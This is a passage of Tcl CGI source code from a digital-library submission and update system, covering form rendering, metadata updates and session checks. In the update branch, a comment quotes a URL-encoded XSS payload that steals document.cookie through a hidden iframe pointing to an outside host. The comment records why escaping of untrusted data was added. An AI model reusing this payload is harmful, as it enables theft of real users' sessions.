$referenceType"
}
set fieldValueList [join $fieldValueList]
set output [set ${languageRep2}::body]
regsub "OPTION VALUE=\"$cgi(suffixqueryfield)\"" $output "OPTION SELECTED VALUE=\"$cgi(suffixqueryfield)\"" output
# puts $output
set hiddenInput "
"
set output [SetFont [subst $output]]
}
^Language$ {
set englishMirrorRepository $env(ENGLISH_MIRROR_REP)
source ../$col/$englishMirrorRepository/doc/mirror/language.tcl
# administratorUserName
regsub {@.*$} $env(SERVER_ADMIN) {} administratorUserName
set output [SetFont [subst [set ${englishMirrorRepository}::body]]]
}
^Contributors$ {
# contributorList
# set query {list GetMetadataRepositories $currentRep 2 "targetfile @reference.bib [join $loCoInRepList]" yes yes 1 metadatalastupdate}
set query {list GetMetadataRepositories $currentRep 3 "contenttype Bibliography Data Base [join $loCoInRepList]" yes yes 1 metadatalastupdate}
# set query2String {query2=targetfile @reference.bib [join $loCoInRepList]&choice2=brief&accent2=yes&case2=yes}
# set query2String {from=contributors} ;# no used anymore in MirrorGet
set query2String {} ;# needed because it an argument of CreateOutput
global cgi
set cgi(continue) yes ;# to force continue
set cgi(choice) brief
CreateOutput $language $languageRep1 $languageRep2 $query $query2String Contributors ../
return
}
^Field$ {
# fieldNameList
GetConversionTable $languageRep2 $language ;# set field::conversionTable
CreateAbbreviation .* ;# need field::conversionTable - set abbreviationArray
global field::conversionTable
global abbreviationArray
# inverseTable
foreach {index value} [array get conversionTable] {
set inverseTable($value) $index
}
if 0 {
# displayControl.tcl is used to set the table attributes: headerBgColor and cellBgColor
if [catch {source ../$col/$submissionFormRep/doc/displayControl.tcl} error] {
puts "error in sourcing file <\;$env(DOCUMENT_ROOT)/col/$submissionFormRep/doc/displayControl.tcl>\; :"
puts
puts $error
}
} else {
# added by GJFB in 2017-11-06 because submissionFormRep may not contain the file displayControl.tcl in the case of metaform
set headerBgColor #FFCCCC ;# no more customizable based on the current mirror
set cellBgColor #D6D6D6
}
foreach value [lsort -dictionary [array names inverseTable ?*]] {
# lappend fieldNameList  \;$value \; \;  \;$abbreviationArray($inverseTable($value))
lappend fieldNameList  \;$value \; \;  \;$abbreviationArray($inverseTable($value))
}
set fieldNameList [join $fieldNameList]
set output [SetFont [subst [set ${languageRep2}::body]]]
}
^Word$ {
## wordOccurrenceList
# global wordOccurrenceList
# maximumNumberOfWords
# empty maximumNumberOfWords means to return all the keywords
if ![file exists $homePath/col/$currentRep/doc/@maximumNumberOfWords] {
set fileContent {# empty maximumNumberOfWords means to return all the keywords
# set maximumNumberOfWords 30
set maximumNumberOfWords {}}
Store fileContent $homePath/col/$currentRep/doc/@maximumNumberOfWords
}
source $homePath/col/$currentRep/doc/@maximumNumberOfWords ;# set maximumNumberOfWords
Load $homePath/col/$currentRep/doc/@wordOccurrence wordOccurrenceList
if [string equal {} $wordOccurrenceList] {
# set wordOccurrenceList [GetWordOccurrenceList $currentRep $maximumNumberOfWords $env(IP_ADDR):$env(SERVER_PORT)] ;# get the word just from the local collection
set wordOccurrenceList [GetWordOccurrenceList $currentRep $maximumNumberOfWords] ;# get the word just from the local collection
Store wordOccurrenceList $homePath/col/$currentRep/doc/@wordOccurrence ;# can also be stored executing urlibScript/getWordOccurrence.tcl (see PerformCheck)
# Store wordOccurrenceList $homePath/col/$currentRep/doc/@wordOccurrence auto 0 w 0 iso8859-1 ;# commented by GJFB in 2016-08-06 - not necessary to solve the accent problem (just necessary in urlibScript/getWordOccurrence.tcl)
}
# wordListLength
set wordListLength [llength $wordOccurrenceList]
# regsub -all {_} $wordOccurrenceList { } wordOccurrenceList
set wordList {}
set stringLength [string length [lindex [lindex $wordOccurrenceList 0] 1]]
foreach item $wordOccurrenceList {
regsub -all { } [format %${stringLength}s [lindex $item 1]] {\ } frequency
lappend wordList "$frequency [lindex $item 0]"
}
set wordOccurrenceList [join $wordList ]
GetConversionTable $languageRep2 $language
global field::conversionTable
# statisticsDate
global "${languageRep2}::statisticsDate"
global "${languageRep2}::Jan"
global "${languageRep2}::Feb"
global "${languageRep2}::Mar"
global "${languageRep2}::Apr"
global "${languageRep2}::May"
global "${languageRep2}::Jun"
global "${languageRep2}::Jul"
global "${languageRep2}::Aug"
global "${languageRep2}::Sep"
global "${languageRep2}::Oct"
global "${languageRep2}::Nov"
global "${languageRep2}::Dec"
set statisticsDate [subst [GetStatisticsDate $statisticsDate]]
set output [SetFont [subst [set ${languageRep2}::body]]]
# set output [set ${languageRep2}::body]
}
^Recent$ {
## not used anymore since 2021-04-22
# still in use when returning from an update form
if 0 {
# testing progressive loading - doesn't work with Apache 2.4 in urlib.net
puts 1
puts "" ;# to have the previous puts displayed
set x 0; after 1000 {set x 1}; vwait x
}
# Source displayControl.tcl - added by GJFB in 2018-05-28
set enableOutput 0
eval $sourceDisplayControl ;# required for setting choice and outputFormat values only - these values can be customized in col/dpi.inpe.br/banon/2000/01.23.20.24/auxdoc/displayControl.tcl
# Source displayControl.tcl - end
set maximumNumberOfEntries $env(MAX_NUMBER_OF_ENTRIES)
set query [list list GetMostRecentMetadataRep $currentRep $maximumNumberOfEntries]
# set query2String {from=recent} ;# no used anymore in MirrorGet
set query2String {} ;# needed because it an argument of CreateOutput
global cgi
# set cgi(choice) brief
set cgi(choice) $choice ;# used in LoopOverEntries when displaying the similars button with the brief choice
set maximumNumberOfReferences 10
if ![info exists cgi(imageflag)] {set cgi(imageflag) 0} ;# added by GJFB in 2018-05-28 - don't display the thumbnail (if any) - required when setting choice == CreateBriefTitleAuthorEntry in displayControl.tcl
# CreateOutput $language $languageRep1 $languageRep2 $query $query2String Recent \
../ 0 $maximumNumberOfReferences brief
set linkType 1 ;# added by GJFB in 2018-05-28 - required to get the rep link type
# ConditionalSet targetValue cgi(targetvalue) {_self} ;# targetValue added by GJFB in 2022-06-13 for new behavior navigation - commented by GJFB in 2024-12-12
ConditionalSet targetValue cgi(targetvalue) {_top} ;# targetValue added by GJFB in 2022-06-13 for new behavior navigation - added by GJFB in 2024-12-12 - this change still needs to be verified/tested
ConditionalSet forceHistoryBackFlag cgi(forcehistorybackflag) 1 ;# forceHistoryBackFlag added by GJFB in 2023-11-16 - forcehistorybackflag added to get the green return button displayed
CreateOutput \
$language $languageRep1 $languageRep2 $query $query2String Recent ../ \
0 $maximumNumberOfReferences $choice 1 \
^$ 0 {} $outputFormat \
{#EEEEEE #E3E3E3} {} no \
yes $linkType 0 \
$targetValue metadatalastupdate \
site no {} \
short {; } {} {} \
0 $forceHistoryBackFlag ;# targetValue added by GJFB in 2022-06-13 for new behavior navigation - forceHistoryBackFlag added by GJFB in 2023-11-16 - forcehistorybackflag added to get the green return button displayed
return
}
^Submit$ {
# puts $currentRep
foreach {language languageRep2} [FindLanguageForSubmissionForm $language $submissionFormLanguage $firstLanguageRep $languageRep2] {break}
if 0 {
puts {Content-Type: text/html}
puts {}
puts "language = $language "
puts "languageRep2 = $languageRep2 "
}
source ../$col/$languageRep2/doc/mirror/${submissionFormLanguage}$frameName.tcl
# puts ../$col/$languageRep2/doc/mirror/${submissionFormLanguage}ReferenceTypeName.tcl
source ../$col/$languageRep2/doc/mirror/${submissionFormLanguage}ReferenceTypeName.tcl ;# set translationTable
global "${languageRep2}::currentVariableFileName" ;# for reverse engineering
GetConversionTable $languageRep2 $language
global field::conversionTable
# to select thesis as reference type the URL must be Submit/Thesis
# to submit just a reference the URL must be Submit/Thesis?attachment=no
global "${languageRep2}::submission header"
global "${languageRep2}::update header"
global "${languageRep2}::footer"
global "${languageRep2}::submissionMetadataTable" ;# set in mirror/xxSubmit.tcl
global "${languageRep2}::updateMetadataTable" ;# set in mirror/xxSubmit.tcl
global "${languageRep2}::updatingMetadataTable" ;# Migration 10/10/04 - not used
global "${languageRep2}::Please wait for the submission completion."
global "${languageRep2}::Please wait for the update completion."
global "${languageRep2}::File Name"
# global "${languageRep2}::User Name"
global "${languageRep2}::Password"
global "${languageRep2}::Submit"
global "${languageRep2}::Update"
# global "${languageRep2}::Update Submission Agreement"
global "${languageRep2}::Update agreement Directory"
global "${languageRep2}::Remove before Update agreement Directory"
global "${languageRep2}::Save/Check"
global "${languageRep2}::Save/Exit"
global "${languageRep2}::Save the form and return to check its content and continue filling out"
global "${languageRep2}::Save the form and exit from it"
global "${languageRep2}::Move to source Directory before Update" ;# added by GJFB in 2016-05-10
global "${languageRep2}::Move back to doc Directory before Update" ;# added by GJFB in 2021-05-27
global "${languageRep2}::Remove before Update"
# global "${languageRep2}::Update and don't Copy to Source"
global "${languageRep2}::Update source Directory"
# global "${languageRep2}::Remove before Update and don't Copy to Source"
global "${languageRep2}::Remove before Update source Directory"
# global "${languageRep2}::Remove before Update - d&s"
global "${languageRep2}::Add"
global "${languageRep2}::Add and Copy"
global "${languageRep2}::Run"
global "${languageRep2}::Update and Finish"
global "${languageRep2}::Close"
global "${languageRep2}::Clear"
# global "${languageRep2}::Return"
global "${languageRep2}::Cancel"
global "${languageRep2}::Code"
global "${languageRep2}::Folder Name"
global "${languageRep2}::forbidden submission"
global "${languageRep2}::forbidden update"
global "${languageRep2}::disabled submission"
global "${languageRep2}::no user name for update"
global "${languageRep2}::out-of-date search"
global "${languageRep2}::Document"
global "${languageRep2}::Review"
global "${languageRep2}::Reference"
global "${languageRep2}::Abstract"
global "${languageRep2}::a document"
global "${languageRep2}::a review"
global "${languageRep2}::a reference"
global "${languageRep2}::an abstract"
global "${languageRep2}::search option for submit"
global "${languageRep2}::search option for update"
global "${languageRep2}::Don't Get URL"
global "${languageRep2}::Get URL and Don't Transfer Copyright"
global "${languageRep2}::Get URL and Transfer Copyright"
global "${languageRep2}::popup warning"
global "${languageRep2}::closed session"
global "${languageRep2}::Add one more author field"
global "${languageRep2}::Remove this author field"
global "${languageRep2}::Move this author field up"
global "${languageRep2}::Move this author field down"
global "${languageRep2}::Try to fill out this field"
global "${languageRep2}::User" ;# used in access to Restricted Area
global "${languageRep2}::turn the attached file, the target file"
global "${languageRep2}::capture the URL content"
global "${languageRep2}::Forgot it?"
global "${languageRep2}::Don't have or forgot it?"
# global "${languageRep2}::translationTable" ;# set in xxFillingInstructions.tcl
# administratorUserName
# used by CreateReturnButton
regsub {@.*$} $env(SERVER_ADMIN) {} administratorUserName
# update and submissionType
set update 0
set submissionType submit
if [info exists env(QUERY_STRING)] {
# puts $env(QUERY_STRING)
if $updateStageOfSubmit {
# update
set update 1
set submissionType update
# if [info exists cgi(metadatarepository)] {
# append returnInfo "&metadatarepository=$cgi(metadatarepository)" ;# added by GJFB in 2013-02-11 in order to update the proper metadata repository
# }
append returnInfo "&metadatarepository=$metadataRep" ;# added by GJFB in 2013-03-03 - needed to update the proper metadata repository
set metadataList [Execute $serverAddressWithIP [list GetMetadata $metadataRep-*]]
# puts $metadataList
array set localMetadataArray $metadataList
# repName == rep
set repName $localMetadataArray($metadataRep-0,repository)
# repositoryContentType
ConditionalSet repositoryContentType localMetadataArray($metadataRep-0,contenttype) {}
# metadataLastUpdate
set metadataLastUpdate $localMetadataArray($metadataRep-0,metadatalastupdate)
regsub -all { } $metadataLastUpdate {+} metadataLastUpdate
regsub -all {=} $metadataLastUpdate {%3d} metadataLastUpdate2 ;# added by GJFB in 2019-04-30 - the symbol equal (=) must be converted to (%3d) otherwise the value of lastupdate attribute in query string is truncated - Example (case of a XSS attack in the year field):
# 2019:05.01.02.32.27 dpi.inpe.br/banon/1999/01.09.22.14 banon {D {}}
# -> 2019:05.01.02.32.27+dpi.inpe.br/banon/1999/01.09.22.14+banon+{D+{%3Cscript%3E+++document.write(%27%3Ciframe+width%3d1+height%3d1++src%3dhttp://www.coletor.com/rc.php?xss%3d%27+document.cookie.replace(/+/g,%27%27)+%27%3E%3C/iframe%3E%27)+%3C/script%3E}}
set metadataLastUpdate2 [EscapeUntrustedData $metadataLastUpdate2] ;# added by GJFB in 2019-04-30 - the date may contain untrusted data
# append returnInfo "&lastupdate=$metadataLastUpdate"
append returnInfo "&lastupdate=$metadataLastUpdate2"
# documentStage - used in displayControl.tcl only
if [info exists localMetadataArray($metadataRep-0,documentstage)] {
set documentStage $localMetadataArray($metadataRep-0,documentstage)
}
# nextEdition - used in displayControl.tcl only
if [info exists localMetadataArray($metadataRep-0,nextedition)] {
set nextEdition $localMetadataArray($metadataRep-0,nextedition)
}
# userGroup - used in displayControl.tcl and in this procedure
if [info exists localMetadataArray($metadataRep-0,usergroup)] {
set userGroup $localMetadataArray($metadataRep-0,usergroup)
if 1 {
# added by GJFB in 2022-08-04 to fix metadata updated between 2022-01-25 and 2022-06-11 and in Archive with URLibService not updated after 2022-06-11
set nbsp [format %c 160] ;# no-break space
set userGroup [lsort -unique [regsub -all $nbsp $userGroup {}]] ;# drop no-break spaces and duplicates
}
} else {
# for old metadata
set userGroup {} ;# could be any thing (existence is tested in displayControl.tcl and allow the setting of optionTable2)
}
# advancedUser - used in displayControl.tcl and in this procedure
set advancedUser $localMetadataArray($metadataRep-0,username)
# secondaryType - used in displayControl.tcl
if [info exists localMetadataArray($metadataRep-0,secondarytype)] {
set secondaryType $localMetadataArray($metadataRep-0,secondarytype)
}
# window
regsub -all {/} ${currentRep}___$metadataRep {__} window
regsub -all {\.|@|-} $window {_} window
set window ${window}___0
} else {
# submit
set userGroup {} ;# could be anything (existence is tested in displayControl.tcl and allow the setting of optionTable2)
set userName {} ;# added by GJFB in 2016-06-05 - needed when executing:
# "lsearch -index 1 $supervisorList $userName"
# invoked from within
# "expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}"
# invoked from within
# "subst $displayTable($referenceType,$fieldName)"
# invoked from within
# "FindFieldValue $field $fieldName $label $referenceType $update"
}
# puts 2==$returnInfo
# puts $update
# puts [array names cgi]
# puts [array get cgi]
# some fields are:
# deposit (used to force submission/update when a new reference has the same authors, title and reference type as an existing reference)
# internal use
# values are: yes or no, default is no; yes means to force submission
# updateoption (set in CreateBriefEntry - ePrint)
# has priority over the value defined in displayControl.tcl
# values is one of these: all, update, {remove before update}, {update source directory}, {remove before update source directory}, {update agreement directory}, {remove before update agreement directory}, add, {add and copy}, run, and finish, default is given by updateOptionTable in displayControl.tcl
if [regexp {(returnaddress)=(.*)$} $env(QUERY_STRING) m name value] {
regsub {&metadatarepository=.*$} $value {} value ;# metadatarepository field comes from env(REQUEST_URI) (see CreateBriefEntry) it was needed for Submit (update option) but is not used in the returnaddress
set cgi($name) $value
}
regsub {&?returnaddress=.*$} $env(QUERY_STRING) {} queryString
foreach {name value} [split $queryString &=] {
set cgi([DecodeURL $name]) [DecodeURL $value]
}
}
# puts $env(QUERY_STRING)
# puts $update
# puts [array get cgi]
# puts $cgi(returnaddress)
# if ![info exists cgi(deposit)] {set cgi(deposit) no} ;# commented by GJFB in 2020-12-30 to avoid possible 'Request-URI Too Large' http error
if ![info exists cgi(deposit)] {set cgi(deposit) yes} ;# added by GJFB in 2020-12-30
if ![info exists cgi(updateoption)] {set cgi(updateoption) {}}
if ![info exists cgi(returnaddress)] {set cgi(returnaddress) {}}
if ![info exists cgi(returnbutton)] {set cgi(returnbutton) {no}} ;# needed in xxEnterPassword.html
# if ![info exists cgi(mirror)] {set cgi(mirror) {}} ;# is not empty when submitting or updating an ePrint (electronic source)
if ![info exists cgi(requiredmirror)] {set cgi(requiredmirror) {}} ;# is not empty when submitting or updating an ePrint (electronic source) - commented by GJFB in 2013-05-23 - already set above
# if ![info exists cgi(frameinuse)] {set cgi(frameinuse) no} ;# when using search option (see displayControl.tcl) frameinuse is set to yes - frameinuse is not a user variable, is for internal use only - commented by GJFB in 2020-06-24 - now below
if ![info exists cgi(registereduser)] {set cgi(registereduser) yes} ;# used when checking session
array set cgi $extraCGIList ;# set in Submit - needed with multiple creator fields
if ![info exists cgi(ingestactor)] {set cgi(ingestactor) {}} ;# used in xxSubmit.html and xxUpdateSubmission.html - needed with multiple creator fields
if ![info exists cgi(hidesimilarbutton)] {set cgi(hidesimilarbutton) {no}}
if ![info exists cgi(forcehistorybackflag)] {set cgi(forcehistorybackflag) 1} ;# added by GJFB in 2023-11-16 - forcehistorybackflag added to get the green return button displayed
if ![info exists cgi(reviewprocess)] {set cgi(reviewprocess) {}} ;# used in xxSubmit.html and xxUpdateSubmission.html - needed with multiple creator fields
if ![info exists cgi(initialaction)] {set cgi(initialaction) {}} ;# used with return button
if ![info exists cgi(displayedfieldlist)] {set cgi(displayedfieldlist) {fullname password subject}} ;# used in xxEnterLogin.html
if {$updateStageOfSubmit || ![info exists pathInfo]} {
# may not exist when coming form Submit
set frameName Submit
}
# puts [array get cgi]
# referenceType - used in displayControl.tcl
# referenceType2
if !$updateStageOfSubmit {
if [info exists pathInfo] {
set referenceType2 [lindex $pathInfo 6]
# Netscape doesn't work with
regsub {(.)([A-Z])} $referenceType2 {\1 \2} referenceType ;# ConferenceProceedings -> Conference Proceedings
regsub {(.)(or )} $referenceType {\1 \2} referenceType ;# Filmor Broadcast -> Film or Broadcast
} else {
# may not exist when coming from Submit
set referenceType $cgi(%0 referencetype)
set referenceType [join $referenceType] ;# {Conference Proceedings} -> Conference Proceedings
regsub -all { } $referenceType {} referenceType2 ;# Conference Proceedings -> ConferenceProceedings
}
} else {
if [info exists {cgi(%0 referencetype)}] {
set referenceType $cgi(%0 referencetype)
set referenceType [join $referenceType] ;# {Conference Proceedings} -> Conference Proceedings
regsub -all { } $referenceType {} referenceType2 ;# Conference Proceedings -> ConferenceProceedings
}
}
# referenceType3
regsub -all { } $referenceType {+} referenceType3
append returnInfo &%0+referencetype=\{$referenceType3\}
if $update {
# update (used in displayControl.tcl)
LoadService $repName userName userName 1 1 ;# must be before source displayControl.tcl for dynamic forms
set cgi(login) $userName ;# used in xxEnterPassword.html
# if {[info exists cgi(username)] && [info exists cgi(session)]} #
# append returnInfo "&username=$cgi(username)" ;# to maintain username
# append returnInfo "&session=$cgi(session)" ;# to maintain session
# #
# publishingYear - used in displayControl.tcl
ConditionalSet year localMetadataArray($metadataRep-0,year) {} ;# added by GJFB in 2021-03-28 - used in this procedure and include/xxConferenceProceedingsClosedUpdate.html only
if [string equal {} $year] {ConditionalSet year localMetadataArray($metadataRep-0,yearreleased) {}} ;# added by GJFB in 2021-09-05 - required for Film or Broadcast - used to prevent update when the record was created as a supplementary material of an event paper submitted with a form generated from a metaform - yearreleased is used just with Film or Broadcast
# if [string equal {} $year] {ConditionalSet year localMetadataArray($metadataRep-0,date) {}} ;# added by GJFB in 2021-09-05 - required for Data - commented by GJFB em 2021-09-10 - produce a side effect for Thesis, Image,...:
# the value of the variable year becomes the value of the field named date which might be of the form YYYY-MM-DD and not just YYYY, producing the error 'expected integer but got "YYYY-MM-DD"' while executing the Tcl Page:
# http://mtc-m21b.sid.inpe.br/createpage.cgi/sid.inpe.br/mtc-m21b/2014/06.15.16.33/doc/YYYY-MM-DD/tclPage.html
if {[string equal {} $year] && [string equal {Data} $referenceType]} {ConditionalSet year localMetadataArray($metadataRep-0,date) {}} ;# added by GJFB in 2021-09-10 - required for Data - used to prevent update when the record was created as a supplementary material of an event paper submitted with a form generated from a metaform
regexp {\d{4,}} $year year ;# 2021-09-11 -> 2021 - may be useful when year is written like a date
set publishingYear $year ;# default value may be changed when executing eval $sourceDisplayControl below based on the setting in a metaform
# puts --$publishingYear--
# size - used in displayControl.tcl
ConditionalSet size localMetadataArray($metadataRep-0,size) {}
# copyrightRepository - used in displayControl.tcl
ConditionalSet copyrightRepository localMetadataArray($metadataRep-0,copyright) {}
}
# submissionStage - used in displayControl.tcl
set submissionStage invoke
# Source displayControl.tcl and xxFillingInstructions.tcl
# puts --$userGroup--
set enableOutput 0
# puts --$publishingYear--
# => --2014--
eval $sourceDisplayControl
# puts --$publishingYear--
# => --2013--
# puts [array get displayTable]
# doc/xxFillingInstructions.tcl
# >>> OBS: Include has priority over the doc/xxFillingInstructions.tcl file
# source ../$col/$languageRep2/doc/${language}FillingInstructions.tcl
# puts [list $languageRep2 $submissionFormLanguageRep]
# => dpi.inpe.br/banon/1999/06.19.22.43 urlib.net/www/2011/03.29.23.24
# puts --$displayTable(Report,%@contenttype)--
# => --3 {} {} {}--
source ../$col/$languageRep2/doc/${submissionFormLanguage}FillingInstructions.tcl
source ../$col/$submissionFormLanguageRep/doc/${submissionFormLanguage}FillingInstructions.tcl
# Source displayControl.tcl and xxFillingInstructions.tcl - end
set cellFont {}
# puts $displayTable(Audiovisual Material,%C)
# puts $optionTable2(Report,%9)
# puts $optionTable(Report,%9)
# puts $optionTable2(Conference Proceedings,%@documentstage)
# puts $optionTable2(Misc,%@documentstage)
if $updateStageOfSubmit {
if {[string equal {Misc} $referenceType] && [regexp {review} $keywords]} {
# review
set displayTable(Misc,%A) [list 1.1 {(*) [Help Name]} {} {Reviewer(s)}]
set displayTable(Misc,%T) [list 4 {} {} {}]
set displayTable(Misc,%D) [list 0 {} {} {}]
set displayTable(Misc,%9) [list 0 {} {} {}]
set displayTable(Misc,%3) [list 0 {} {} {}]
set displayTable(Misc,%K) [list 0 {} {} {}]
set displayTable(Misc,%X) [list 0 {} {} {}]
set displayTable(Misc,%O) [list 4 {} {} {Presentation Format}]
set displayTable(Misc,%U) [list 0 {} {} {}]
set displayTable(Misc,%@parentrepositories) [list 4 {click ->} {} {Work to be Reviewed}]
set displayTable(Misc,%@language) [list 0 {} {} {}]
set displayTable(Misc,%@copyholder) [list 0 {} {} {}]
set displayTable(Misc,%@area) [list 4 {} {} {}]
set displayTable(Misc,%@e-mailaddress) [list 0 {} {} {}]
set displayTable(Misc,%@project) [list 0 {} {} {}]
set displayTable(Misc,%@accessdate) [list 0 {} {} {}]
set displayTable(Misc,%@readpermission) [list 0 {} {} {}]
# set displayTable(Misc,%@documentstage) [list 3 {To Save keep your login and press Update ---- To Send select 'Send Review' and press Update ----(*) [Help NextReview]} {} {Action to be Performed at Update}]
set displayTable(Misc,%@documentstage) [list 3 {(*) [Help NextReview]} {} {Action to be Performed at Update}]
set displayTable(Misc,filename) [list 0 {} {} {x}]
set updateOptionTable(Misc) {update}
# set searchBaseTable(Misc) {writeUserArray}
set searchBaseTable(Misc) {userArray} ;# not tested
}
}
if {[info exists submissionMaintenanceTable($referenceType)] && \
$submissionMaintenanceTable($referenceType)} {
# submission maintenance
if [file exists ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}SubmissionMaintenance.html] {
# use include
puts [subst [Include ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}SubmissionMaintenance.html]]
} else {
if [info exists submissionMaintenanceArray($referenceType)] {
# use xxFillingInstructions.tcl
puts [subst $submissionMaintenanceArray($referenceType)]
}
}
return
}
if 1 {
# moved here by GJFB in 2022-05-06 - searchOptionFlag requires cgi(frameinuse)
# puts $returnInfo
# Create cgi array
# usefull to recover the filled fields after a submit error
CreateCGIArray ;# updates returnInfo
# Create cgi array - end
# puts [array names cgi]
# puts [array get cgi]
# puts $returnInfo
if ![info exists cgi(frameinuse)] {set cgi(frameinuse) no} ;# when using search option (see displayControl.tcl) frameinuse is set to yes - frameinuse is not a user variable, is for internal use only - added by GJFB in 2020-06-24 - was above
# puts $cgi(frameinuse)
}
if {[info exists searchOptionTable($referenceType)] && \
[string equal {yes} $searchOptionTable($referenceType)] && \
[string equal {no} $cgi(frameinuse)] && \
(![info exists cgi(returntype)] || $cgi(returntype) < 2)} { ;# moved here by GJFB in 2022-05-06 - searchOptionFlag is required to avoid the 'closed submission/update' warning for the administrartor when displaying the search option
set searchOptionFlag 1
} else {
set searchOptionFlag 0
}
# puts $searchOptionFlag
# Closed submission/update
# puts $update
if $update {
# update
if $updateStageOfSubmit {
# Change write user name
if [info exists updatePolicyTable($referenceType)] {
if $updatePolicyTable($referenceType) {
# force update by the alternate user - gives control to the alternate user
ConditionalSet userName2 alternateUserTable($referenceType) {administrator}
} else {
# force update by the author - gives control to the author
ConditionalSet alternateUser alternateUserTable($referenceType) {administrator}
regsub $alternateUser $userGroup {} userList ;# drop the alternate user
if {[info exists userNameList($referenceType)] && \
[regexp {update by the author} $userNameList($referenceType)]} {
# update by the author
# Drop from user group the names which are in userNameList
array set userNameTable [subst $userNameList($referenceType)] ;# may use userGroup
set userList2 [GetArrayRange userNameTable]
set userList [ListSubtraction userList userList2] ;# userList - userList2
# Drop from user group the names which are in userNameList - end
}
set userName2 [lindex $userList 0] ;# take the first
}
if ![string equal $userName2 $userName] {
# change userName
set userName $userName2
}
}
# Change write user name - end
if {[info exists checkingSessionDataTable($referenceType)] && \
$checkingSessionDataTable($referenceType)} {
# restricted access
# CHECK SESSION
ConditionalSet readerGroup localMetadataArray($metadataRep-0,readergroup) {}
if 0 {
puts --$cgi(session)--
puts [info exists cgi(username)]
puts [info exists cgi(session)]
puts [CheckSession $cgi(session) $cgi(username)]
puts [string equal {} $readerGroup]
}
if {(![info exists cgi(username)] || \
![info exists cgi(session)] || \
[CheckSession $cgi(session) $cgi(username)]) && \
![string equal {} $readerGroup]} {
# no session and reader group not empty
# enter in the restricted area - begin using session number instead of password
# sessionTime
# symmetricKey
# regexp {(.*)-(.*)} [OpenSession $env(REMOTE_ADDR) symmetricKey] m sessionTime symmetricKey
foreach {sessionTime symmetricKey} [OpenSession [list $env(REMOTE_ADDR) administrator] symmetricKey] {break} ;# added by GJFB in 2022-07-28 - sessionTime is required in 'subst $body' below
# set returnButton [CreateReturnButton ../$col/$languageRep2/doc/mirror About $cgi(targetframe) $Cancel] ;# commented by GJFB in 2022-07-28
ConditionalSet targetFrame cgi(targetframe) {} ;# added by GJFB in 2022-07-28 - required when openning id CBnmVX32PXQZeBBx/PUBzN
set returnButton [CreateReturnButton ../$col/$languageRep2/doc/mirror About $targetFrame $Cancel] ;# added by GJFB in 2022-07-28
# puts [subst [subst ${closed session}]]
# return
# action
set action ${Please wait for the submission completion.}
# seconds
set seconds " "
set cgi(usertype) {} ;# could be removed ...
set cgi(delayedreturnbutton) {} ;# could be removed ...
set cgi(targetframe) {} ;# could be removed ...
set cgi(useraction) {} ;# could be removed ...
set cgi(username) $userName
set cgi(wrongpassword) {no}
set currentPassword 1
set currentFileName [FindCurrentHTMLFileName EnterPassword]
set updateForRegister 0
set formAction http://$localSite/update$env(PATH_INFO)?$env(QUERY_STRING)
if {[llength $readerGroup] == 1} {
# just one read user
set loginRow "
${cellFont}$User (Login)
$readerGroup
"
} else {
# more than one read user
set loginRow "
${cellFont}$User (Login)
"
# puts $userGroup
foreach user $readerGroup {
if [string equal $userName $user] {
append loginRow " $user
"
} else {
append loginRow " $user
"
}
}
append loginRow "
"
}
Load $currentFileName body
# set output $body
# set output [subst $body]
set output [subst [subst [subst [subst $body]]]] ;# more subtitutions are needed to resolve the content of $action
puts $output
return
}
}
# Check session - end
}
# puts [info exists closedUpdateTable($referenceType)]
# puts [string equal $year $publishingYear]
# puts $closedUpdateTable($referenceType)
# puts [info exists localMetadataArray($metadataRep-0,childrepositories)]
# puts [info exists forceAssignedPaperUpdateTable($referenceType)]
# puts $forceAssignedPaperUpdateTable($referenceType)
# puts $publishingYear
if { \
( \
( \
[info exists closedUpdateTable($referenceType)] && $closedUpdateTable($referenceType) \
) || \
![string equal $year $publishingYear] || \
( \
[info exists localMetadataArray($metadataRep-0,childrepositories)] && [info exists forceAssignedPaperUpdateTable($referenceType)] && !$forceAssignedPaperUpdateTable($referenceType)
) \
) && \
![string equal {administrator} $userName] && (![string equal {Misc} $referenceType] || [regexp {review} $keywords]) \
} {
# closed update
if [file exists ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}ClosedUpdate.html] {
# use include
puts [subst [Include ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}ClosedUpdate.html]]
return
} elseif {[file exists ../$col/$languageRep2/doc/include/$language${referenceType2}ClosedUpdate.html]} {
# use default include if it exists
puts [subst [Include ../$col/$languageRep2/doc/include/$language${referenceType2}ClosedUpdate.html]]
return
} elseif {[string equal {ConferenceProceedings} $referenceType2]} {
if !$searchOptionFlag {puts "Warning for the administrator: at Update there is no file xx${referenceType2}ClosedUpdate.html in the include directory "}
}
}
} else {
# submit
if {[info exists closedSubmissionTable($referenceType)] && $closedSubmissionTable($referenceType)} {
# closed submit
if [file exists ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}ClosedSubmission.html] {
# use include
puts [subst [Include ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}ClosedSubmission.html]]
return
} elseif {[file exists ../$col/$languageRep2/doc/include/$language${referenceType2}ClosedSubmission.html]} {
# use default include if it exists
puts [subst [Include ../$col/$languageRep2/doc/include/$language${referenceType2}ClosedSubmission.html]]
return
} elseif {[string equal {ConferenceProceedings} $referenceType2]} {
if !$searchOptionFlag {puts "Warning for the administrator: at Submission there is no file xx${referenceType2}ClosedUpdate.html in the include directory "}
}
}
}
# Closed submission/update - end
# requiredFieldSymbol and requiredFieldAtCloseSymbol
set requiredFieldSymbol $requiredFieldFootnoteTable($referenceType) ;# e.g., (*)
regsub -all {(\*|\+)} $requiredFieldSymbol {\\\1} requiredFieldSymbol ;# requiredFieldSymbol is used in regular expression
if [info exists requiredFieldAtCloseFootnoteTable($referenceType)] {
set requiredFieldAtCloseSymbol $requiredFieldAtCloseFootnoteTable($referenceType) ;# e.g., (*)
regsub -all {(\*|\+)} $requiredFieldAtCloseSymbol {\\\1} requiredFieldAtCloseSymbol ;# requiredFieldAtCloseSymbol is used in regular expression
}
if 0 {
# commented by GJFB in 2022-05-06 - now above
# puts $returnInfo
# Create cgi array
# usefull to recover the filled fields after a submit error
CreateCGIArray ;# updates returnInfo
# Create cgi array - end
# puts [array names cgi]
# puts [array get cgi]
# puts $returnInfo
